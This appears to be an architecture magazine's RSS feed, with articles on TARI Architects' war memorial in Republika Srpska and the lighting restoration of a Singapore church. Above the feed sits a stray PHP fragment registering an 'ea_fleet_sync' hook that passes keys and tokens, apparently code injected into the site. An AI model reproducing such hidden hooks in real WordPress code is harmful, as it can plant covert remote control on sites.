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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Cultural – Architalkz https://architalkz.com - Architecture & Design Magazine Thu, 08 May 2025 05:44:22 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://architalkz.com/wp-content/uploads/2024/05/ArchiTalkz-Fav-48x48.png Cultural – Architalkz https://architalkz.com 32 32 Central City Memorial by TARI-Architects https://architalkz.com/cultural/central-city-memorial-by-tari-architects/ https://architalkz.com/cultural/central-city-memorial-by-tari-architects/#respond Thu, 08 May 2025 05:44:03 +0000 https://architalkz.com/?p=11361 The project for the “Memorial to the fallen soldiers of the defense patriotic war of the Republika Srpska” is today an opportunity not only to remember the courage of the soldiers who fell during the war in the period 1991-1996 in Bosnia and Herzegovina, but also a monument against all wars, especially those of oppression which, unfortunately, as we all know, still exist today.

©TARI Architects

The word monument comes from latin word “monere” – “to remember”. Therefore, in the very name it already possesses its profound meaning, its goal: a warning, that in this case reminides to all the people of the world of the importance of equality and freedom. A place of peace and remembrance.

©TARI Architects

But how can the monument not simply “represent” an event but bear witness to an even more important ideal? How can the monument not only be a place where war victims can be remembered, but a real space where everyone can understand even a small part of the atrocities of war? How can a space be able to ensure that the human soul is laid bare in front of the memory of people who gave their lives for an ideal greater than themselves, of peace and equality? The main idea was not to design a square with its contemplative monument in the center, but to define an architectural space that is itself the monument.

©TARI Architects

A MONUMENT-SPACE, therefore, capable of being a symbol but at the same time also being a place. Thus, space becomes a collective memory of citizens, who are able to feel it also as a space in which to be. In this way, the visit to the monument becomes a spatial experience that involves all the senses of visitors, be they citizens or tourists, to immerse them in an evocative and unique atmosphere.

©TARI Architects

A IMMERSIVE FRUITION of the space that led to a very profund and intimante PERCEPTION of the entire urban surrounding. Visitors, walking through the monument, can individually experience a memory and a collective symbol.

]]> https://architalkz.com/cultural/central-city-memorial-by-tari-architects/feed/ 0 Church Of Our Lady Of Lourdes, Singapore by Light Collab https://architalkz.com/cultural/church-of-our-lady-of-lourdes-singapore-by-light-collab/ https://architalkz.com/cultural/church-of-our-lady-of-lourdes-singapore-by-light-collab/#respond Mon, 05 May 2025 11:54:33 +0000 https://architalkz.com/?p=11326 Designed in Neo-Gothic Style, the church was officially opened in 1888 and is the first Tamil Catholic church in Singapore. Prior to the restoration works which commenced in January 2020, the existing lighting were added on throughout the years and were a mixture of different light sources and have deteriorated.

©ND Photography

Challenges for the lighting design also includes studying the availability of lighting points, possibility of running new cabling and trying to integrate exposed wiring and control cables as an architectural feature without being too obtrusive and staying true to the conservation guidelines. Careful consideration on placement of new luminaires and enhancing spires, the overall façade and positioning surface type wall-mounted uplighters at the corners of columns so that the columns appear as shadow, while walls are lit. Above the porch stands a statue of an angel blowing a trumpet. while keeping to conservation regulations with no impact to the core and shell.

©ND Photography

Façade lighting was to integrate and enhance the overall layers and elements and also illuminating the stain glass windows lining the clerestory from the interior so that they can be appreciated from outside, while also illuminating the interiors and features sensitively with various scenes from day to night. LED strip and profile were also integrated on the edges of the roof to gently illuminate the upper walls and sloped roof. For the interior, lighting various elements and layers, including introduction of new modern pendants with up and downwards emission on different circuit, so that they can be dimmable and controlled separately.

©ND Photography

5 degree beam spotlights were strategically placed opposite side of the stain glass windows to illuminate the stainglass to be seen from outside, without having uncomfortable spill. 2 nos. of 4 degree beam spotlights were also used mounted on the mezzanine floor to accentuate the levitating Jesus gentling without casting shadow on the backdrop. The church committee was also concerned about the functional aspects of illumination to provide the worshippers, to be able to read the bible.

©ND Photography

Tiny spotlights were also mounted on the top of the columns to uplight the vaults and arches. A simple RGBWW strip were also integrated to respond to the client’s request for flexibility for various scenes on special occasions. The design process of the monument might have taken only 6 months, but various presentations and mock-ups were also done to convince the church commission many times during the course of 5 years on the reason for architectural lighting, uplighting and the desired intent was important and the use of warm light instead of daylight white and just use of floodlights.

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